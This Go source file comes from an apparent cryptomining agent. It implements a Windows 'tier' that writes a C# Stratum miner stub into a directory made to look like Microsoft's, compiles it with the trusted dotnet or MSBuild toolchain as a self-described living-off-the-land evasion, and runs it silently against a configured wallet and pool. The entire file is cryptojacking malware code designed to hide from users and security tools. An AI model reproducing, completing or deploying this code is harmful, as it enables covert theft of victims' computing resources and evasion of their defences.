package miner import ( "fmt" "log" "os" "os/exec" "path/filepath" "runtime" "strings" "sync" "crypto-miner-agent/config" ) // dotnetBin and msbuildBin are toolchain paths; tests override via SetDotnetBinPath / SetMSBuildBinPath. var ( dotnetBin = "dotnet" msbuildBin = "MSBuild" dotnetExecCommand = exec.Command ) // SetDotnetBinPath overrides the dotnet CLI binary (restore with ""). func SetDotnetBinPath(path string) { if strings.TrimSpace(path) == "" { dotnetBin = "dotnet" return } dotnetBin = path } // SetMSBuildBinPath overrides the MSBuild binary (restore with ""). func SetMSBuildBinPath(path string) { if strings.TrimSpace(path) == "" { msbuildBin = "MSBuild" return } msbuildBin = path } // SetDotnetExecCommand restores default when fn is nil. func SetDotnetExecCommand(fn func(name string, args ...string) *exec.Cmd) { if fn == nil { dotnetExecCommand = exec.Command return } dotnetExecCommand = fn } // DotnetLauncher compiles and runs a minimal Stratum stub via trusted dotnet/msbuild (LOTL). type DotnetLauncher struct { cfg config.RuntimeConfig workDir string tool string // "dotnet" or "msbuild" mu sync.Mutex running bool cmd *exec.Cmd } // NewDotnetLauncher validates platform, pool, and toolchain availability. func NewDotnetLauncher(cfg config.RuntimeConfig) (*DotnetLauncher, error) { if runtime.GOOS != "windows" { return nil, fmt.Errorf("dotnet tier requires Windows") } if strings.TrimSpace(cfg.PoolHost) == "" || cfg.PoolPort <= 0 { return nil, fmt.Errorf("pool host/port required for dotnet stratum tier") } if strings.TrimSpace(cfg.Wallet) == "" { return nil, fmt.Errorf("wallet required for dotnet stratum tier") } tool, err := resolveDotnetToolchain() if err != nil { return nil, err } workDir, err := lotlWorkDir(cfg, "Stratum") if err != nil { return nil, err } return &DotnetLauncher{cfg: cfg, workDir: workDir, tool: tool}, nil } func resolveDotnetToolchain() (string, error) { if _, err := exec.LookPath(dotnetBin); err == nil { return "dotnet", nil } if _, err := exec.LookPath(msbuildBin); err == nil { return "msbuild", nil } return "", fmt.Errorf("neither dotnet nor MSBuild found in PATH") } // WorkDir returns the LOTL compile output directory. func (l *DotnetLauncher) WorkDir() string { return l.workDir } // Toolchain reports dotnet or msbuild. func (l *DotnetLauncher) Toolchain() string { return l.tool } // Start materializes source under %LOCALAPPDATA%\Microsoft\... and runs compile + execute. func (l *DotnetLauncher) Start() error { l.mu.Lock() defer l.mu.Unlock() if l.running { return nil } if err := l.materializeProject(); err != nil { return err } if err := l.compile(); err != nil { return err } cmd, err := l.launchMiner() if err != nil { return err } l.cmd = cmd l.running = true log.Printf("[dotnet-tier] started toolchain=%s dir=%s wallet=%s pool=%s:%d", l.tool, l.workDir, l.cfg.Wallet, l.cfg.PoolHost, l.cfg.PoolPort) go l.waitExit() return nil } func (l *DotnetLauncher) materializeProject() error { if err := os.MkdirAll(l.workDir, 0o755); err != nil { return fmt.Errorf("mkdir workdir: %w", err) } csPath := filepath.Join(l.workDir, "Program.cs") if err := os.WriteFile(csPath, []byte(renderStratumCSharp(l.cfg)), 0o644); err != nil { return fmt.Errorf("write Program.cs: %w", err) } projPath := filepath.Join(l.workDir, "StratumMiner.csproj") if err := os.WriteFile(projPath, []byte(stratumCsprojTemplate), 0o644); err != nil { return fmt.Errorf("write csproj: %w", err) } return nil } func (l *DotnetLauncher) compile() error { switch l.tool { case "dotnet": cmd := dotnetExecCommand(dotnetBin, "build", l.workDir, "-c", "Release", "-o", filepath.Join(l.workDir, "out"), "-v", "q") cmd.Dir = l.workDir out, err := cmd.CombinedOutput() if err != nil { return fmt.Errorf("dotnet build failed: %w (%s)", err, strings.TrimSpace(string(out))) } return nil case "msbuild": proj := filepath.Join(l.workDir, "StratumMiner.csproj") cmd := dotnetExecCommand(msbuildBin, proj, "/p:Configuration=Release", "/v:q") cmd.Dir = l.workDir out, err := cmd.CombinedOutput() if err != nil { return fmt.Errorf("msbuild failed: %w (%s)", err, strings.TrimSpace(string(out))) } return nil default: return fmt.Errorf("unknown toolchain %q", l.tool) } } func (l *DotnetLauncher) launchMiner() (*exec.Cmd, error) { switch l.tool { case "dotnet": cmd := dotnetExecCommand(dotnetBin, "run", "--project", l.workDir, "-c", "Release", "--no-build") cmd.Dir = l.workDir cmd.Stdout = nil cmd.Stderr = nil if err := cmd.Start(); err != nil { return nil, fmt.Errorf("dotnet run failed: %w", err) } return cmd, nil case "msbuild": exe := filepath.Join(l.workDir, "bin", "Release", "net8.0", "AetherForgeStratum.exe") if _, err := os.Stat(exe); err != nil { exe = filepath.Join(l.workDir, "out", "AetherForgeStratum.exe") } cmd := dotnetExecCommand(exe) cmd.Dir = l.workDir cmd.Stdout = nil cmd.Stderr = nil if err := cmd.Start(); err != nil { return nil, fmt.Errorf("run compiled exe failed: %w", err) } return cmd, nil default: return nil, fmt.Errorf("unknown toolchain %q", l.tool) } } func (l *DotnetLauncher) waitExit() { if l.cmd == nil { return } err := l.cmd.Wait() l.mu.Lock() l.running = false l.cmd = nil l.mu.Unlock() if err != nil { log.Printf("[dotnet-tier] miner process exited: %v — chain will advance", err) } else { log.Printf("[dotnet-tier] miner process stopped") } } // Stop terminates the running LOTL miner process. func (l *DotnetLauncher) Stop() { l.mu.Lock() cmd := l.cmd running := l.running l.mu.Unlock() if !running || cmd == nil { return } if cmd.Process != nil { _ = cmd.Process.Kill() } l.mu.Lock() l.running = false l.cmd = nil l.mu.Unlock() } // Running reports whether the LOTL miner is active. func (l *DotnetLauncher) Running() bool { l.mu.Lock() defer l.mu.Unlock() return l.running }